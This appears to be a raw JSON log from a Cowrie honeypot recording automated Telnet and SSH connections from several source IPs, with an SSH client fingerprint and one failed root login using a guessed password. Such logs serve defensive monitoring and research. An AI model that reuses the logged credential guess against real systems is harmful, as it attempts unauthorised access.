{"eventid":"cowrie.session.closed","duration":30.258187770843506,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:06.152461Z","src_ip":"62.77.140.101","session":"1c090ac9bb42","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.565732955932617,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:06.216258Z","src_ip":"85.190.254.94","session":"0f7368e5f103","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.696104049682617,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:06.274966Z","src_ip":"138.197.5.236","session":"a11922513a45","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.158921241760254,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:06.284553Z","src_ip":"138.197.5.236","session":"0da2786970ab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":57058,"dst_ip":"10.17.0.5","dst_port":23,"session":"f1921b26a204","protocol":"telnet","message":"New connection: 85.190.254.94:57058 (10.17.0.5:23) [session: f1921b26a204]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:06.649746Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":57470,"dst_ip":"10.17.0.5","dst_port":23,"session":"0bfdffccb804","protocol":"telnet","message":"New connection: 85.190.254.94:57470 (10.17.0.5:23) [session: 0bfdffccb804]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:06.789011Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":58832,"dst_ip":"10.17.0.5","dst_port":23,"session":"61656a249809","protocol":"telnet","message":"New connection: 85.190.254.94:58832 (10.17.0.5:23) [session: 61656a249809]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:07.255399Z"}
{"eventid":"cowrie.session.closed","duration":30.680274963378906,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:07.345786Z","src_ip":"167.71.198.239","session":"d5e7614ba842","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.263798236846924,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:07.512899Z","src_ip":"136.244.67.81","session":"440ccdddc262","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":60504,"dst_ip":"10.17.0.5","dst_port":23,"session":"554db9745273","protocol":"telnet","message":"New connection: 85.190.254.94:60504 (10.17.0.5:23) [session: 554db9745273]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:07.808139Z"}
{"eventid":"cowrie.session.closed","duration":31.27608346939087,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:08.012393Z","src_ip":"167.71.198.239","session":"023d7363b01f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.362085103988647,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:08.068486Z","src_ip":"136.244.67.81","session":"ddeb15287eb2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.655031442642212,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:08.081578Z","src_ip":"85.190.254.94","session":"d4613e2d3fad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.075809955596924,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:08.254004Z","src_ip":"136.244.67.81","session":"c41f3680ad49","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.3139066696167,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:08.403281Z","src_ip":"138.197.5.236","session":"65ce38627118","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.112540245056152,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:08.639288Z","src_ip":"138.197.5.236","session":"dbe55cb2c5a5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.751076698303223,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:09.087754Z","src_ip":"85.190.254.94","session":"2c04b19c2442","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.5.236","src_port":53496,"dst_ip":"159.203.135.109","dst_port":23,"session":"9eff78371287","protocol":"telnet","message":"New connection: 138.197.5.236:53496 (159.203.135.109:23) [session: 9eff78371287]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:09.156415Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":36444,"dst_ip":"10.17.0.5","dst_port":23,"session":"c6defcf920b6","protocol":"telnet","message":"New connection: 85.190.254.94:36444 (10.17.0.5:23) [session: c6defcf920b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:09.293106Z"}
{"eventid":"cowrie.session.closed","duration":31.629364490509033,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:09.507783Z","src_ip":"167.71.198.239","session":"9ea4e9a1835a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.947875022888184,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:09.560330Z","src_ip":"85.190.254.94","session":"0ba5f4e0ee98","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.5.236","src_port":53362,"dst_ip":"159.203.135.109","dst_port":23,"session":"46f265c0e17c","protocol":"telnet","message":"New connection: 138.197.5.236:53362 (159.203.135.109:23) [session: 46f265c0e17c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:09.940019Z"}
{"eventid":"cowrie.session.closed","duration":30.620813846588135,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:10.045185Z","src_ip":"77.72.5.107","session":"0f1d6dd5758a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.627443313598633,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:10.082653Z","src_ip":"138.197.5.236","session":"79d5571f782f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.745339393615723,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:10.092506Z","src_ip":"136.244.67.81","session":"375c878a0f02","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.16975736618042,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:10.278565Z","src_ip":"138.197.5.236","session":"90a803b7db55","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.915364265441895,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:11.066374Z","src_ip":"62.77.140.101","session":"a9134f2e22c1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.636056661605835,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:11.073400Z","src_ip":"62.77.140.101","session":"a9de1825b91f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.265701293945312,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:11.084584Z","src_ip":"85.190.254.94","session":"db2ee3a787c3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.924128770828247,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:11.170091Z","src_ip":"138.197.5.236","session":"d3a3ade06b02","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.58211350440979,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:11.308518Z","src_ip":"167.71.198.239","session":"19b8ec1e2f17","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.151160717010498,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:12.420486Z","src_ip":"85.190.254.94","session":"7f1c1f30352e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.029794692993164,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:12.597763Z","src_ip":"177.34.169.29","session":"08a5fc1b04d9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.143.209","src_port":32932,"dst_ip":"10.17.0.5","dst_port":22,"session":"2566e0990670","protocol":"ssh","message":"New connection: 171.244.143.209:32932 (10.17.0.5:22) [session: 2566e0990670]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:12.677279Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:12.681913Z","src_ip":"171.244.143.209","session":"2566e0990670","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.72.5.107","src_port":32936,"dst_ip":"159.203.135.109","dst_port":23,"session":"93b0045821e2","protocol":"telnet","message":"New connection: 77.72.5.107:32936 (159.203.135.109:23) [session: 93b0045821e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:12.714662Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:12.952981Z","src_ip":"171.244.143.209","session":"2566e0990670","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":48446,"dst_ip":"10.17.0.5","dst_port":23,"session":"c096d00d2f5b","protocol":"telnet","message":"New connection: 85.190.254.94:48446 (10.17.0.5:23) [session: c096d00d2f5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:12.997766Z"}
{"eventid":"cowrie.session.closed","duration":30.70339560508728,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:13.038476Z","src_ip":"107.152.33.170","session":"e420acccfef7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.997562170028687,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:13.056819Z","src_ip":"77.72.5.107","session":"d449d2c609e0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.85572648048401,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:13.317927Z","src_ip":"77.72.5.107","session":"c431583b6e3d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":50104,"dst_ip":"10.17.0.5","dst_port":23,"session":"665ca9929d66","protocol":"telnet","message":"New connection: 85.190.254.94:50104 (10.17.0.5:23) [session: 665ca9929d66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:13.544342Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234@ABCD","message":"login attempt [root/1234@ABCD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:14.001300Z","src_ip":"171.244.143.209","session":"2566e0990670","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.994534015655518,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:14.061109Z","src_ip":"62.77.140.101","session":"4e1c80336968","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":52310,"dst_ip":"10.17.0.5","dst_port":23,"session":"b3dd1a285321","protocol":"telnet","message":"New connection: 85.190.254.94:52310 (10.17.0.5:23) [session: b3dd1a285321]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:14.259871Z"}
{"eventid":"cowrie.session.closed","duration":30.74438714981079,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:14.535577Z","src_ip":"138.197.5.236","session":"5dbb80ed4ec7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"77.72.5.107","src_port":33398,"dst_ip":"159.203.135.109","dst_port":23,"session":"094aa45b9b38","protocol":"telnet","message":"New connection: 77.72.5.107:33398 (159.203.135.109:23) [session: 094aa45b9b38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:14.904628Z"}
{"eventid":"cowrie.session.closed","duration":30.789684295654297,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:15.074560Z","src_ip":"85.190.254.94","session":"aa07229da323","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.205021858215332,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:15.084790Z","src_ip":"138.197.5.236","session":"f05d063f9f1b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.113060235977173,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:15.246791Z","src_ip":"138.197.5.236","session":"fce08180557b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:15.257619Z","src_ip":"171.244.143.209","session":"2566e0990670","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.510997772216797,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:15.323496Z","src_ip":"107.152.33.170","session":"67d5e0b8844c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.89685034751892,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:15.332788Z","src_ip":"138.197.5.236","session":"50e3868171d9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.66077971458435,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:15.338426Z","src_ip":"167.71.198.239","session":"3009e5e5a2ad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":56668,"dst_ip":"10.17.0.5","dst_port":23,"session":"dc26257d2f15","protocol":"telnet","message":"New connection: 85.190.254.94:56668 (10.17.0.5:23) [session: dc26257d2f15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:15.573007Z"}
{"eventid":"cowrie.session.closed","duration":30.893940687179565,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:16.075753Z","src_ip":"107.152.33.170","session":"5d5aca045de4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"77.72.5.107","src_port":34334,"dst_ip":"159.203.135.109","dst_port":23,"session":"52d4d0ffb962","protocol":"telnet","message":"New connection: 77.72.5.107:34334 (159.203.135.109:23) [session: 52d4d0ffb962]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:16.223748Z"}
{"eventid":"cowrie.session.closed","duration":31.226176500320435,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:16.247719Z","src_ip":"138.197.5.236","session":"24c074537cf7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":33730,"dst_ip":"10.17.0.5","dst_port":23,"session":"0f3888422b16","protocol":"telnet","message":"New connection: 85.190.254.94:33730 (10.17.0.5:23) [session: 0f3888422b16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:17.345490Z"}
{"eventid":"cowrie.session.closed","duration":31.161553144454956,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:17.541793Z","src_ip":"138.197.5.236","session":"956149ee2f07","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.281041860580444,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:17.756690Z","src_ip":"77.72.5.107","session":"e98e24091ce3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.980814218521118,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:18.141997Z","src_ip":"107.152.33.170","session":"b0798ee84001","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.865363121032715,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:18.217395Z","src_ip":"62.77.140.101","session":"a669ee50bd9c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"136.244.67.81","src_port":35828,"dst_ip":"159.203.135.109","dst_port":23,"session":"1c69d459d018","protocol":"telnet","message":"New connection: 136.244.67.81:35828 (159.203.135.109:23) [session: 1c69d459d018]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:18.275870Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.152.33.170","src_port":48434,"dst_ip":"159.203.135.109","dst_port":23,"session":"00fe9a30205b","protocol":"telnet","message":"New connection: 107.152.33.170:48434 (159.203.135.109:23) [session: 00fe9a30205b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:19.046200Z"}
{"eventid":"cowrie.session.connect","src_ip":"136.244.67.81","src_port":35836,"dst_ip":"159.203.135.109","dst_port":23,"session":"f41e5cf80a2d","protocol":"telnet","message":"New connection: 136.244.67.81:35836 (159.203.135.109:23) [session: f41e5cf80a2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:19.331907Z"}
{"eventid":"cowrie.session.closed","duration":30.98944067955017,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:20.930490Z","src_ip":"77.72.5.107","session":"79ec48a2951d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"77.72.5.107","src_port":36622,"dst_ip":"159.203.135.109","dst_port":23,"session":"b7821751c9f6","protocol":"telnet","message":"New connection: 77.72.5.107:36622 (159.203.135.109:23) [session: b7821751c9f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:22.095461Z"}
{"eventid":"cowrie.session.closed","duration":30.420451641082764,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:22.185358Z","src_ip":"138.197.5.236","session":"7a95e9f9e29e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.066246509552002,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:22.264613Z","src_ip":"167.71.198.239","session":"f59c937200d7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"77.72.5.107","src_port":36314,"dst_ip":"159.203.135.109","dst_port":23,"session":"21d548bdc544","protocol":"telnet","message":"New connection: 77.72.5.107:36314 (159.203.135.109:23) [session: 21d548bdc544]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:22.277179Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.77.140.101","src_port":42940,"dst_ip":"159.203.135.109","dst_port":23,"session":"69c585a16f3f","protocol":"telnet","message":"New connection: 62.77.140.101:42940 (159.203.135.109:23) [session: 69c585a16f3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:22.340018Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":48816,"dst_ip":"10.17.0.5","dst_port":23,"session":"546fc3ee328c","protocol":"telnet","message":"New connection: 85.190.254.94:48816 (10.17.0.5:23) [session: 546fc3ee328c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:22.520108Z"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.5.236","src_port":39616,"dst_ip":"159.203.135.109","dst_port":23,"session":"9f7ddb5e1330","protocol":"telnet","message":"New connection: 138.197.5.236:39616 (159.203.135.109:23) [session: 9f7ddb5e1330]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:22.586287Z"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.5.236","src_port":39952,"dst_ip":"159.203.135.109","dst_port":23,"session":"71514b268191","protocol":"telnet","message":"New connection: 138.197.5.236:39952 (159.203.135.109:23) [session: 71514b268191]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:22.795438Z"}
{"eventid":"cowrie.session.closed","duration":31.549898624420166,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:23.026658Z","src_ip":"107.152.33.170","session":"3f8cd5662561","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.31653332710266,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:23.155479Z","src_ip":"167.71.198.239","session":"093a7bdc8342","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.299856424331665,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:23.652346Z","src_ip":"138.197.5.236","session":"01df7e3bc4fd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.83170223236084,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:24.055272Z","src_ip":"136.244.67.81","session":"8b17c3740d02","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.930335998535156,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:24.073507Z","src_ip":"138.197.5.236","session":"60f93a8800ca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.10566282272339,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:24.079634Z","src_ip":"85.190.254.94","session":"ac3ca9324f6e","protocol":"telnet"}
